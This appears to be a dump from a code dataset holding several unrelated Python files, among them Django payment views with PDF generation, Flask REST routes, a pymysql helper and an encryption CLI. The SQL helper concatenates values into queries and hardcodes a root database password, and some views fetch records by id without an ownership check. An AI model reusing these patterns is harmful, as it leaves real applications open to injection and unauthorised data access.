~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nclass CompromisosListaView(TemplateView, MenuPSTMixin):\n template_name = 'pagos/pst/compromisos_pago.html'\n\n def get_context_data(self, **kwargs):\n context = super(CompromisosListaView, self).get_context_data(**kwargs)\n\n conceptos = models.Concepto.objects.filter(\n pst=Pst.objects.get(user=self.request.user)\n ).order_by('pago', '-fecha_generacion', '-estatus')\n\n paginator_handler = paginator.Paginator(conceptos, 15)\n page = self.request.GET.get('page')\n\n try:\n context['conceptos'] = paginator_handler.page(page)\n\n except paginator.PageNotAnInteger:\n context['conceptos'] = paginator_handler.page(1)\n\n except paginator.EmptyPage:\n context['conceptos'] = paginator_handler.page(\n paginator_handler.num_pages\n )\n return context\n\n\nclass PagoIndebidoView(TemplateView, MenuPSTMixin):\n template_name = 'pagos/pst/pago_indebido.html'\n\n\nclass CesionesPagoIndebidoView(TemplateView, MenuPSTMixin):\n template_name = 'pagos/pst/reconocimiento_pago_indebido.html'\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n\n# Funciones ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n@login_required(login_url=reverse_lazy('cuentas_login'))\ndef compromiso_pago_json(request):\n if 'concepto_id' not in request.GET:\n return json_response({'error': -1, 'msg': 'Se requiere el concepto.'})\n\n try:\n concepto = models.Concepto.objects.get(\n pst=Pst.objects.get(user=request.user),\n id=request.GET['concepto_id']\n )\n\n except models.Concepto.DoesNotExist:\n return json_response({'error': -2, 'msg': 'El concepto no existe'})\n\n return json_response({\n 'error': 0,\n 'result': serializers.serialize('json', [concepto]),\n 'attached': {\n 'tipo': concepto.concepto_tipo.nombre,\n 'pago': None if concepto.pago is None else {\n 'id': concepto.pago.id,\n 'numero_documento': concepto.pago.numero_documento,\n }\n },\n })\n\n\n@login_required(login_url=reverse_lazy('cuentas_login'))\n@require_http_methods(['POST'])\ndef compromiso_pago_nuevo(request):\n if 'conceptos' not in request.POST:\n return json_response({\n 'error': -1, 'msg': 'Se requieren los conceptos.'\n })\n\n conceptos = json_loads(request.POST['conceptos'])\n\n if not isinstance(conceptos, list) or not conceptos:\n return json_response({\n 'error': -2, 'msg': 'Argumento invalido para los conceptos.'\n })\n\n conceptos = models.Concepto.objects.filter(\n pst=Pst.objects.get(user=request.user),\n pago=None,\n id__in=conceptos\n )\n\n if not conceptos:\n return json_response({\n 'error': -3,\n 'msg': 'No hay conceptos a los cuales asociar el nuevo pago.'\n })\n\n with transaction.atomic():\n pago = models.Pago(\n pst=Pst.objects.get(user=request.user), total=0\n )\n pago.save()\n\n conceptos.update(pago=pago)\n\n pago.total = sum(\n concepto.monto for concepto in pago.concepto_set.all()\n )\n pago.save()\n\n return json_response({\n 'error': 0, 'result': serializers.serialize('json', [pago])\n })\n\n\n@login_required(login_url=reverse_lazy('cuentas_login'))\ndef planilla_pago_pdf(request, pk):\n pago = models.Pago.objects.get(id=pk)\n conceptos = models.Concepto.objects.filter(pago=pago.id)\n\n output = PdfFileWriter()\n input = PdfFileReader(file(os.path.join(settings.PDF_ROOT, 'forma_PPL-01.pdf'), 'rb'))\n #create response object\n response = HttpResponse(content_type='application/pdf')\n response['Content-Disposition'] = 'attachment; filename=PPL-01.pdf'\n\n # fill page\n buffer = StringIO() # create string buffer for PDF\n pdf = canvas.Canvas(buffer, pagesize=letter)\n pdf.setFont(\"Helvetica\", 8)\n\n data = [['DATOS DEL CONTRIBUYENTE','','','','','','',''],\n ['','','','','','','',''],\n ['RIF','','RAZON SOCIAL DEL CONTRIBUYENTE','','','','',''],\n ['','','','','','','',''],\n ['','','','','','','',''],\n ['DATOS DEL PAGO','','','','','','',''],\n ['','','','','','','',''],\n [u'Nº DE DOCUMENTO','','','','FECHA DE GENERACIÓN','FECHA DE VENCIMIENTO','','PORCION'],\n ['','','','','','','',''],\n ['CODIGO','CONCEPTO','','','','MONTO Bs.','',''],\n ]\n data[3][0] = unicode(pago.pst.rif)\n data[3][2] = unicode(pago.pst.razon_social)\n data[2][5] = u'Nº {} {} {} {}'.format(pago.numero_documento[:4],\n pago.numero_documento[4:6],\n pago.numero_documento[6:8],\n pago.numero_documento[8:])\n data[8][0] = unicode(pago.numero_documento[:4])\n data[8][1] = unicode(pago.numero_documento[4:6])\n data[8][2] = unicode(pago.numero_documento[6:8])\n data[8][3] = unicode(pago.numero_documento[8:])\n data[8][4] = pago.fecha_generacion.strftime(\"%d/%m/%Y\")\n data[8][5] = pago.fecha_vencimiento.strftime(\"%d/%m/%Y\")\n data[8][7] = unicode(pago.porcion)\n for concepto in conceptos:\n data.append([unicode(concepto.concepto_tipo.codigo),\n unicode(concepto.concepto_tipo.nombre),'','','',\n locale.currency(concepto.monto, symbol=False, grouping=True),'',''])\n data.append(['TOTAL','','','','',locale.currency(pago.total, symbol=False, grouping=True),'',''])\n data.append(['','','','','','','',''])\n data.append(['PARA SER LLENADO POR EL CONTRIBUYENTE O REPRESENTANTE LEGAL','','','','','','',''])\n data.append(['','','','','','','',''])\n data.append(['FORMA DE PAGO','','','','DATOS DEL DEPOSITANTE','','',''])\n data.append(['EFECTIVO','','','','NOMBRE Y APELLIDO','','',''])\n data.append(['CHEQUE DE GERENCIA','','','','FIRMA','','',''])\n data.append(['','','','','','','',''])\n data.append(['VALIDACION DEL BANCO RECEPTOR','','','','','','',''])\n\n t=Table(data, rowHeights=[18 for i in xrange(19 + len(conceptos))])\n\n t.setStyle(TableStyle([('GRID',(0,0),(-1,-1), 0.25, colors.black),\n ('ALIGN', (0,0), (-1,-1), 'CENTER'),\n ('VALIGN',(0,0),(-1,-1),'MIDDLE'),\n ('BACKGROUND',(0,0),(-1,0), colors.grey),\n ('SPAN',(0,0),(-1,0)),\n ('SPAN',(0,1),(-1,1)),\n ('SPAN',(0,2),(1,2)),\n ('SPAN',(2,2),(4,2)),\n ('SPAN',(5,2),(7,3)),\n ('SPAN',(0,3),(1,3)),\n ('SPAN',(2,3),(4,3)),\n ('SPAN',(0,4),(-1,4)),\n ('SPAN',(0,5),(-1,5)),\n ('BACKGROUND',(0,5),(-1,5), colors.grey),\n ('SPAN',(0,6),(-1,6)),\n ('SPAN',(0,7),(3,7)),\n ('SPAN',(0,7),(3,7)),\n ('SPAN',(5,7),(6,7)),\n ('SPAN',(5,8),(6,8)),\n ('SPAN',(1,9),(4,9)),\n ('SPAN',(5,9),(7,9)),\n ('SPAN',(0,-9),(4,-9)),\n ('SPAN',(5,-9),(7,-9)),\n ('SPAN',(0,-8),(-1,-8)),\n ('SPAN',(0,-7),(-1,-7)),\n ('BACKGROUND',(0,-7),(-1,-7), colors.grey),\n ('SPAN',(0,-6),(-1,-6)),\n ('SPAN',(0,-5),(3,-5)),\n ('SPAN',(4,-5),(7,-5)),\n ('SPAN',(0,-4),(1,-4)),\n ('SPAN',(2,-4),(3,-4)),\n ('SPAN',(4,-4),(5,-4)),\n ('SPAN',(6,-4),(7,-4)),\n ('SPAN',(0,-3),(1,-3)),\n ('SPAN',(2,-3),(3,-3)),\n ('SPAN',(4,-3),(5,-3)),\n ('SPAN',(6,-3),(7,-3)),\n ('SPAN',(0,-2),(-1,-2)),\n ('SPAN',(0,-1),(-1,-1)),\n ('BACKGROUND',(0,-1),(-1,-1), colors.grey),\n ('ALIGN',(0,-9),(4,-9), 'RIGHT'),\n ('FACE',(0,-9),(4,-9), 'Helvetica-Bold'),\n ('FACE',(0,0),(-1,0), 'Helvetica-Bold'),\n ('FACE',(0,2),(3,2), 'Helvetica-Bold'),\n ('FACE',(0,5),(-1,5), 'Helvetica-Bold'),\n ('FACE',(0,7),(-1,7), 'Helvetica-Bold'),\n ('FACE',(0,9),(-1,9), 'Helvetica-Bold'),\n ('FACE',(0,-5),(0,-1), 'Helvetica-Bold'),\n ('FACE',(4,-5),(4,-1), 'Helvetica-Bold'),\n ('FACE',(0,-7),(-1,-7), 'Helvetica-Bold'),\n ]))\n r = 9\n for concepto in conceptos:\n r += 1\n t.setStyle(TableStyle([('SPAN',(1,r),(4,r)),\n ('SPAN',(5,r),(7,r))]))\n t.wrapOn(pdf, 200, 300)\n t.drawOn(pdf, 35, 670 - t._height)\n\n pdf.save()\n # put on watermark from buffer\n watermark = PdfFileReader(buffer)\n page1 = input.getPage(0)\n\n page1.mergePage(watermark.getPage(0))\n\n # add processed pdf page\n output.addPage(page1)\n output.write(response)\n return response\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n","sub_path":"apps/pagos/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":11472,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"431825496","text":"\"\"\"occasions\"\"\"\nfrom flask import current_app as app, jsonify, request\nfrom flask_login import current_user\n\nfrom utils.human_ids import dehumanize\nfrom utils.includes import OCCASION_INCLUDES\nfrom utils.rest import expect_json_data,\\\n login_or_api_key_required,\\\n update\nfrom utils.string_processing import inflect_engine\n\n\ndef create_event_occurence(json, occasion, offerer, venue):\n event_occurence = app.model.EventOccurence()\n event_occurence.event = occasion\n event_occurence.venue = venue\n update(event_occurence, json, **{ \"skipped_keys\": ['offer']})\n app.model.PcObject.check_and_save(event_occurence)\n\n offer = app.model.Offer()\n offer.eventOccurence = event_occurence\n offer.offerer = offerer\n update(offer, json['offer'][0])\n app.model.PcObject.check_and_save(offer)\n\n@app.route('/occasions', methods=['GET'])\n@login_or_api_key_required\ndef list_occasions():\n event_ids = []\n occasions = []\n for offerer in current_user.offerers:\n for managedVenue in offerer.managedVenues:\n for eventOccurence in managedVenue.eventOccurences:\n occasion = None\n if eventOccurence.event.id not in event_ids:\n event_ids.append(eventOccurence.event.id)\n occasions.append(eventOccurence.event)\n # TODO: find a similar method for things\n return jsonify([\n occasion._asdict(include=OCCASION_INCLUDES)\n for occasion in occasions\n ])\n\n@app.route('/occasions//', methods=['GET'])\n@login_or_api_key_required\ndef get_occasion(occasionType, occasionId):\n model_name = inflect_engine.singular_noun(occasionType.title(), 1)\n occasion = app.model[model_name]\\\n .query.filter_by(id=dehumanize(occasionId))\\\n .first_or_404()\n occasion_dict = occasion._asdict(include=OCCASION_INCLUDES)\n return jsonify(occasion_dict)\n\n\n@app.route('/occasions/', methods=['POST'])\n@login_or_api_key_required\n@expect_json_data\ndef post_occasion(occasionType):\n model_name = inflect_engine.singular_noun(occasionType.title(), 1)\n\n # CREATE THE OCCASION (EVENT OR THING)\n occasion = app.model[model_name]()\n occasion_dict = request.json['occasion']\n update(occasion, occasion_dict)\n app.model.PcObject.check_and_save(occasion)\n\n # DETERMINE OFFERER\n offerer = app.model.Offerer.query\\\n .filter_by(id=dehumanize(occasion_dict['offererId']))\\\n .first_or_404()\n\n # DETERMINE VENUE\n venue = app.model.Venue.query\\\n .filter_by(id=dehumanize(occasion_dict['venueId']))\\\n .first_or_404()\n\n # CREATE CORRESPONDING EVENT OCCURENCES\n event_occurences = request.json.get('eventOccurences')\n if event_occurences:\n for event_occurence_dict in event_occurences:\n create_event_occurence(\n event_occurence_dict,\n occasion,\n offerer,\n venue\n )\n\n return jsonify(occasion._asdict(include=OCCASION_INCLUDES)), 201\n\n@app.route('/occasions//', methods=['PATCH'])\n@login_or_api_key_required\n@expect_json_data\ndef patch_occasion(occasionType, occasionId):\n model_name = inflect_engine.singular_noun(occasionType.title(), 1)\n\n # UPDATE THE OCCASION\n occasion = app.model[model_name].query\\\n .filter_by(id=dehumanize(occasionId))\\\n .first_or_404()\n occasion_dict = request.json.get('occasion')\n if occasion_dict:\n update(occasion, occasion_dict)\n app.model.PcObject.check_and_save(occasion)\n first_occurence = occasion.occurences[0]\n venue = first_occurence.venue\n offerer = venue.managingOfferer\n\n # UPDATE CORRESPONDING EVENT OCCURENCES\n event_occurences = request.json.get('eventOccurences')\n if event_occurences:\n for event_occurence_dict in event_occurences:\n if event_occurence_dict.get('DELETE') == '_delete_':\n app.model.Offer\\\n .query\\\n .filter_by(eventOccurenceId=dehumanize(event_occurence_dict['id']))\\\n .delete()\n app.model.EventOccurence\\\n .query\\\n .filter_by(id=dehumanize(event_occurence_dict['id']))\\\n .delete()\n app.db.session.commit()\n else:\n create_event_occurence(\n event_occurence_dict,\n occasion,\n offerer,\n venue\n )\n return jsonify(occasion._asdict(include=OCCASION_INCLUDES)), 200\n","sub_path":"routes/occasions.py","file_name":"occasions.py","file_ext":"py","file_size_in_byte":4820,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"35077750","text":"import os\nimport dataset\nimport common\nimport model\nimport logging\nfrom tensorflow.examples.tutorials.mnist import input_data\n\n#\n# Tests\n#\n\n\n# Linear model sanity test\ndef TestLinearModel():\n test_dataset = dataset.NpyDataSet()\n dir_path = os.path.join(common.DataDir(), \"systest-prototype-small-npy\")\n print(dir_path)\n test_dataset.Load(dir_path)\n with model.LinearModel() as linear_model:\n linear_model.Train(test_dataset, 10, 1)\n first_row = test_dataset.x[0]\n first_row = first_row.reshape(1, first_row.shape[0])\n infer_result = linear_model.Infer(first_row)\n logging.info(\"infer result: %d\", infer_result)\n\n\n# test with MNIST data\ndef TestLinearMnistModel():\n mnist = input_data.read_data_sets(\"MNIST_data/\", one_hot=True)\n training_set, training_label = mnist.train.next_batch(60000)\n mnist_dataset = dataset.DataSet()\n mnist_dataset.Set(training_set, training_label)\n\n with model.LinearModel() as mdl:\n mdl.Train(mnist_dataset, 100)\n\n\n# Test with MNIST data\ndef TestNNModelMnist():\n mnist = input_data.read_data_sets(\"MNIST_data/\", one_hot=True)\n training_set, training_label = mnist.train.next_batch(60000)\n mnist_dataset = dataset.DataSet()\n mnist_dataset.Set(training_set, training_label)\n\n with model.SimpleNeuralNetwork(2, 500) as mdl:\n mdl.Train(mnist_dataset, 100)\n '''\n first_row = mnist_dataset.x[0]\n first_row = first_row.reshape(1, first_row.shape[0])\n infer_result = linear_model.Infer(first_row)\n logging.info(\"infer result: %d\", infer_result)\n '''\n\n\ndef TestSaveModel():\n mnist = input_data.read_data_sets(\"MNIST_data/\", one_hot=True)\n training_set, training_label = mnist.train.next_batch(60000)\n mnist_dataset = dataset.DataSet()\n mnist_dataset.Set(training_set, training_label)\n\n with model.SimpleNeuralNetwork(2, 500) as mdl:\n mdl.Train(mnist_dataset, 100)\n mdl.SaveModel(\"/tmp/nn\")\n\n\ndef TestLoadModel():\n with model.SimpleNeuralNetwork(2, 500) as mdl:\n mdl.LoadModel(\"/tmp/nn\")\n","sub_path":"src/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2080,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"389216003","text":"import pymysql\n\nclass SqlHelper(object):\n\n def connect_database(self):\n # 打开数据库连接\n db = pymysql.connect(\"localhost\", \"root\", \"819819\", \"wifi_union\", charset='utf8')\n # 使用 cursor() 方法创建一个游标对象 cursor\n cursor = db.cursor()\n\n return db,cursor\n\n def insert_one(self, cursor, db, tn, nargs, vargs):\n\n # SQL 插入语句\n # sql = \"\"\"INSERT INTO EMPLOYEE(FIRST_NAME,\n # LAST_NAME, AGE, SEX, INCOME)\n # VALUES ('Mac', 'Mohan', 20, 'M', 2000)\"\"\"\n #\n # sql = \"INSERT INTO %s(FIRST_NAME, \\\n # LAST_NAME, AGE, SEX, INCOME) \\\n # VALUES ('%s', '%s', '%d', '%c', '%d' )\" % \\\n # (tn, 'Mac', 'Mohan', 20, 'M', 2000)\n sql = 'insert into %s(' % tn\n sql += ','.join(narg for narg in nargs)\n sql += ') values (\\\"'\n sql += '\\\",\\\"'.join(varg for varg in vargs)\n sql += '\\\")'\n\n try:\n # 执行sql语句\n cursor.execute(sql)\n # 提交到数据库执行\n db.commit()\n except Exception as e:\n # 如果发生错误则回滚\n print('Execute failed: ' + sql)\n db.rollback()\n raise e\n\n def insert_many(self, tn, nargs, vargs, count):\n\n sql = 'insert into %s' % tn\n\n sql += '(' + ','.join(narg for narg in nargs) + ')'\n sql += 'values'\n sql += '(' + ','.join(varg for varg in vargs)\n sql += ')'\n\n return sql\n\n\n def execute(self, cursor, db, sql):\n\n\n try:\n # 执行sql语句\n cursor.execute(sql)\n # 提交到数据库执行\n db.commit()\n except Exception as e:\n # 如果发生错误则回滚\n print('Execute failed: ' + sql)\n db.rollback()\n raise e\n\n def close_database(self, db):\n # 关闭数据库连接\n db.close()\n","sub_path":"Src/log_extract/sql_helper.py","file_name":"sql_helper.py","file_ext":"py","file_size_in_byte":1961,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"326399409","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.4 (62061)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-x86_64/egg/pysnmp/smi/exval.py\n# Compiled at: 2018-12-30 04:53:51\nfrom pysnmp.proto import rfc1905\nnoSuchObject = rfc1905.noSuchObject\nnoSuchInstance = rfc1905.noSuchInstance\nendOfMibView = endOfMib = rfc1905.endOfMibView","sub_path":"pycfiles/pysnmp-4.4.12-py2.4/exval.py","file_name":"exval.py","file_ext":"py","file_size_in_byte":398,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"468344922","text":"from rest_framework import permissions\nfrom teachers.models import Teacher\nfrom students.models import Student\n\n\nclass OwnerCanSolveTeacherCanRead(permissions.BasePermission):\n\n @staticmethod\n def task_is_associated_with_teacher(request, obj, teacher):\n if (request.method in permissions.SAFE_METHODS) and (teacher == obj.task.owner):\n return True\n else:\n return False\n\n @staticmethod\n def is_teacher(request, obj):\n try:\n teacher = Teacher.objects.get(username=request.user)\n except Teacher.DoesNotExist:\n return False\n else:\n return OwnerCanSolveTeacherCanRead.task_is_associated_with_teacher(request, obj, teacher)\n\n def has_object_permission(self, request, view, obj):\n try:\n student = Student.objects.get(username=request.user)\n except Student.DoesNotExist:\n return OwnerCanSolveTeacherCanRead.is_teacher(request, obj)\n else:\n if (student.username == obj.owner.username) and (request.method in permissions.SAFE_METHODS):\n return True\n else:\n return False\n\n def has_permission(self, request, view):\n try:\n Student.objects.get(username=request.user)\n except Student.DoesNotExist:\n try:\n Teacher.objects.get(username=request.user)\n except Teacher.DoesNotExist:\n return False\n else:\n if request.method in permissions.SAFE_METHODS:\n return True\n return False\n else:\n return True\n","sub_path":"answers/permissions.py","file_name":"permissions.py","file_ext":"py","file_size_in_byte":1637,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"539636038","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*- #\nfrom __future__ import unicode_literals\n\nAUTHOR = u'Kura'\nSITENAME = u'kura.io'\nSITEURL = 'http://kura.io/new'\n\nTHEME = 'kura.io'\nTIMEZONE = 'Europe/Paris'\n\nGITHUB_URL = 'https://github.com/kura'\nTWITTER_URL = 'https://twitter.com/kuramanga'\nGOOGLE_ANALYTICS = 'UA-12479444-1'\nDISQUS_SITENAME = \"syslogtv\"\n\nDISPLAY_PAGES_ON_MENU = False\n\nDEFAULT_LANG = u'en'\n\n# Feed generation is usually not desired when developing\nFEED_ATOM = \"feeds/atom.xml\"\nFEED_ALL_ATOM = \"feeds/all.atom.xml\"\nFEED_RSS = \"feeds/rss.xml\"\nFEED_ALL_RSS = \"feeds/all.rss.xml\"\n\nMENUITEMS = ()\n\nARTICLE_URL = '{date:%Y}/{date:%m}/{date:%d}/{slug}/'\nARTICLE_SAVE_AS = '{date:%Y}/{date:%m}/{date:%d}/{slug}/index.html'\nCATEGORY_URL = 'c/{slug}'\nCATEGORY_SAVE_AS = 'c/{slug}/index.html'\nPAGE_URL = '{slug}/'\nPAGE_SAVE_AS = '{slug}/index.html'\nTAG_URL = 't/{slug}'\nTAG_SAVE_AS = 't/{slug}/index.html'\nMONTH_ARCHIVE_SAVE_AS = '{date:%Y}/{date:%m}/index.html'\n\nSTATIC_PATHS = ['images', 'files', 'slides', 'extra/robots.txt',\n 'extra/favicon.ico', ]\n\nPDF_STYLE_PATH = ''\nPDF_STYLE = \"twelvepoint\"\nFILES_TO_COPY = (('extra/robots.txt', 'robots.txt'),\n ('extra/favicon.ico', 'favicon.ico'), )\nEXTRA_PATH_METADATA = {\n 'files': {'path': 'files'},\n # 'extra/robots.txt': {'path': 'robots.txt'},\n # 'extra/favicon.ico': {'path': 'favicon.ico'},\n}\n\n# Blogroll\nLINKS = ()\n\n# Social widget\nSOCIAL = ()\n\nDEFAULT_PAGINATION = 10\n\n# Uncomment following line if you want document-relative URLs when developing\nRELATIVE_URLS = True\n\nPLUGIN_PATH = \"plugins/\"\nPLUGINS = [\n # ...\n 'pelican_gist',\n 'archive_unique_dates',\n 'sitemap',\n # 'gzip_cache',\n 'pelican_vimeo',\n 'pelican_youtube',\n # 'pdf',\n # ...\n]\n\nSITEMAP = {\n 'format': 'xml',\n 'priorities': {\n 'articles': 0.5,\n 'indexes': 0.5,\n 'pages': 0.5,\n },\n 'changefreqs': {\n 'articles': 'daily',\n 'indexes': 'daily',\n 'pages': 'daily',\n }\n}\n","sub_path":"pelicanconf.py","file_name":"pelicanconf.py","file_ext":"py","file_size_in_byte":2012,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"437204284","text":"#!/usr/bin/python\n\nfrom source.content_type import ContentType\nfrom source.io_util import IOUtil\nfrom source.file import File\nfrom source.keys import Keys\nfrom source.message import Message\nfrom source.cryptor import Cryptor\nfrom source.app_constants import ENCRYPTED_EXTENSION, KEYS_EXTENSION\nfrom source.style import Formatter\n \nclass Main():\n\n def __init__(self, use:str, encryption:bool, save_content:bool, show_input:bool, \n secret_key_computed:bool, save_keys:bool, chunk_size:int, \n read_keys_file:bool, charset:str, ignored_extensions:str):\n\n # Objects that will be used in the internally objects\n self._content_type = ContentType(use)\n self._encryption = encryption\n self._save_content = save_content\n self._save_keys = save_keys \n self._chunk_size = chunk_size\n self._charset = charset\n self._read_keys = read_keys_file\n self._ignored_extensions = None if not ignored_extensions else ignored_extensions.split(\",\")\n \n\n # Objects that are used internally\n self._io = IOUtil(show_input)\n self._formatter = Formatter()\n self._keys = self._construct_keys(read_keys_file = read_keys_file, secret_key_computed = secret_key_computed)\n self._crypto = None\n self._messages = None\n\n def _construct_keys(self, read_keys_file:bool, secret_key_computed:bool) -> Keys:\n\n self._io.stdout(self._formatter.yellow_foreground(\"\\n\\tStage 1 read user keys initiliazed ...\\n\"))\n\n # User passphrase\n user_key = None\n\n # if the secret key remains none, a key will be generated\n secret_key = None\n\n # The user wants to read the keys from a file\n if read_keys_file:\n formatted = self._formatter.green_foreground(\"Insert the name of yours keys file:\\t\")\n filename = self._io.stdin(formatted)\n file_object = File(filename, self._charset, self._chunk_size) \n json_bytes = file_object.read_content_to_json()\n del file_object\n user_key = json_bytes['key']\n secret_key = json_bytes['secret_key']\n else:\n user_key = self._io.stdin(\" Insert your key:\\t\")\n # The user already has a secret key or he is decrypting something\n if secret_key_computed or not self._encryption:\n secret_key = self._io.stdin(\" Insert your secret key:\\t\")\n\n\n self._io.stdout(self._formatter.green_foreground(\"\\n\\tStage 1 read user keys finished ...\"))\n\n\n ## Construc the keys object\n return Keys(user_key=user_key, secret_key=secret_key)\n\n def _read(self) -> None:\n\n self._io.stdout(self._formatter.yellow_foreground(\"\\n\\tStage 2 read user content initiliazed ...\\n\"))\n\n if self._content_type == ContentType.TEXT:\n\n self._messages = []\n self._messages.append(self._read_text())\n\n elif self._content_type == ContentType.FILE:\n \n self._messages = self._read_file()\n\n else:\n\n self._messages = self._read_directory()\n\n self._io.stdout(self._formatter.green_foreground(\"\\n\\tStage 2 read user content finished ... \"))\n\n\n def _read_text(self) -> Message:\n\n message = None\n user_message = None\n\n if self._encryption:\n message = self._io.stdin_to_bytes(' Insert the message: \\t', self._charset)\n str_ask = ' Do you want to store a message inside the encrypted file?' + self._formatter.orange_foreground(' [Yes, No]:')\n insert_message_inside = self._io.read_ask_answear(str_ask)\n if insert_message_inside:\n user_message = self._io.stdin(\" Insert the message to store inside: \")\n else:\n message = self._io.stdin_to_bytes(' Insert the encrypted message: \\t', self._charset)\n\n return Message(content=message, user_message=user_message)\n \n def _read_file(self) -> []:\n\n messages = []\n self._io.stdout(\" For two or more files, type: file;file;file3\")\n files = self._io.stdin(\" Files: \\t \").split(\";\")\n\n for filename in files:\n messages.append(self._read_file_content(filename))\n return messages\n\n def _read_directory(self) -> []:\n \n messages = []\n\n self._io.stdout(\" For two or mode directories, type: directory;directory;directory\")\n directories = self._io.stdin(\"Directories: \\t\").split(\";\")\n str_aux = \" Do you want to access all files of directories recursively?\" + self._formatter.orange_foreground(' [Yes, No]:')\n recursively = self._io.read_ask_answear(str_aux)\n\n for directory in directories:\n files = self._get_directory_files(directory, recursively)\n for filename in files:\n messages.append(self._read_file_content(filename))\n \n return messages\n\n\n def _get_directory_files(self, directory: str, recursively:bool) -> []:\n\n import os \n files = []\n\n if recursively:\n\n for directory_item in os.listdir(directory):\n path = '{}/{}'.format(directory, directory_item)\n # we will get the files recursively\n if os.path.isdir(path):\n files = files + self._get_directory_files(path, recursively)\n else:\n files.append(path)\n else:\n for directory_item in os.listdir(directory):\n path = '{}/{}'.format(directory, directory_item)\n if not os.path.isdir(path):\n files.append(path)\n\n return files\n\n def _read_file_content(self, filename:str) -> Message:\n \n user_message = None\n file_object = File(filename=filename, charset=self._charset, chunk_size=self._chunk_size)\n file_extension = file_object.get_file_extension() \n \n if self._ignored_extensions is not None and file_extension is not None and file_extension in self._ignored_extensions:\n # The user wants to ignore this type of files!\n # So we will ignore the rest of the code.\n return\n\n if self._encryption:\n str_aux = 'Do you want to store a message inside the {} encrypted file?'.format(filename) + self._formatter.orange_foreground(' [Yes, No]:')\n insert_message_inside = self._io.read_ask_answear(str_aux)\n \n if insert_message_inside:\n user_message = self._io.stdin(\"Insert the message to store inside: \")\n \n message = file_object.read()\n del file_object\n\n return Message(content=message, user_message=user_message, file_path=filename)\n\n def _encrypt(self) -> None:\n for message in self._messages:\n to_encrypt = message.compact(self._charset)\n message.content = self._crypto.encrypt(to_encrypt)\n\n def _decrypt(self) -> None:\n for message in self._messages:\n message.content = self._crypto.decrypt(message.content)\n message.decompress(self._charset)\n\n def _show_metadata(self, message: Message) -> None:\n\n if message.file_path and message.filename:\n\n self._io.stdout(\"Original file path: {}\".format(message.file_path))\n self._io.stdout(\"Original filename: {}\".format(message.filename))\n\n self._io.stdout(\"Created at: {} by: {} \".format(message.created_date, message.created_by))\n\n if message.user_message:\n self._io.stdout(\"{} left a message to you: {}\".format(message.created_by, message.user_message))\n\n self._io.stdout(\"Encrypted with r_crypto version: {}\".format(message.version))\n\n def _save_messages(self) -> None:\n if self._encryption: \n\n for message in self._messages:\n \n filename = None\n \n if self._content_type == ContentType.TEXT:\n filename = self._io.stdin(\"Insert the name for the encrypted file of the text: \")\n else:\n\n default_filename = None\n if '.' in message.filename:\n default_filename = message.filename[:message.filename.rindex('.')]\n\n filename = self._io.stdin(\"Insert the name for the encrypted file of the file {} [Leave empty to use the default name: {}]:\".format(message.filename, default_filename))\n filename = filename if filename else default_filename\n\n file_object = File(filename, self._charset)\n file_object.write(message.content, ENCRYPTED_EXTENSION)\n del file_object\n\n else:\n\n for message in self._messages:\n filename = None\n\n if message.filename:\n filename = message.filename\n else:\n filename = self._io.stdin(\"Insert the name for the decrypted file: \")\n\n file_object = File(filename, self._charset)\n file_object.write(message.content)\n del file_object\n self._show_metadata(message)\n\n def _show_messages_in_console(self) -> None:\n \n if self._encryption:\n\n for message in self._messages:\n str_aux = self._formatter.purple_foreground(\"\\n Your encrypted content: \") + '{}'.format(message.content)\n self._io.stdout(str_aux)\n \n else:\n for message in self._messages:\n self._show_metadata(message)\n str_aux = self._formatter.purple_foreground(\"\\n Your decrypted content: \") + '{}'.format(message.content)\n self._io.stdout(str_aux)\n \n\n\n def _encrypt_or_decrypt(self) -> None:\n\n self._crypto = Cryptor(self._keys, self._charset)\n\n if self._encryption:\n self._encrypt()\n else:\n self._decrypt()\n\n del self._crypto\n\n def _save_or_show(self, messages:bool):\n\n if messages:\n if self._save_content:\n self._io.stdout(self._formatter.yellow_foreground(\"\\n\\tStage 3 saving content to file initiliazed ...\\n\"))\n self._save_messages()\n self._io.stdout(self._formatter.green_foreground(\"\\n\\tStage 3 saving content to file finished ...\\n\"))\n else:\n self._io.stdout(self._formatter.yellow_foreground(\"\\n\\tStage 3 showing content in console initiliazed ...\\n \"))\n self._show_messages_in_console()\n self._io.stdout(self._formatter.green_foreground(\"\\n\\tStage 3 showing content in console finished ...\\n\"))\n\n elif not self._read_keys:\n \n if self._save_keys:\n self._io.stdout(self._formatter.yellow_foreground(\"\\n\\tStage 4 saving keys to file initiliazed ...\\n\"))\n keys_file_name = self._io.stdin(\" Insert the keys file name: \")\n keys_content = self._keys.get_keys_as_json().encode(self._charset)\n file_object = File(keys_file_name, self._charset)\n file_object.write(keys_content, KEYS_EXTENSION)\n del file_object\n self._io.stdout(self._formatter.green_foreground(\"\\n\\tStage 4 saving keys to file finished ...\\n\"))\n else:\n self._io.stdout(self._formatter.yellow_foreground(\"\\n\\tStage 4 showing keys in console initiliazed ...\\n \"))\n str_aux = self._formatter.purple_foreground(\"\\n Your key: \") + 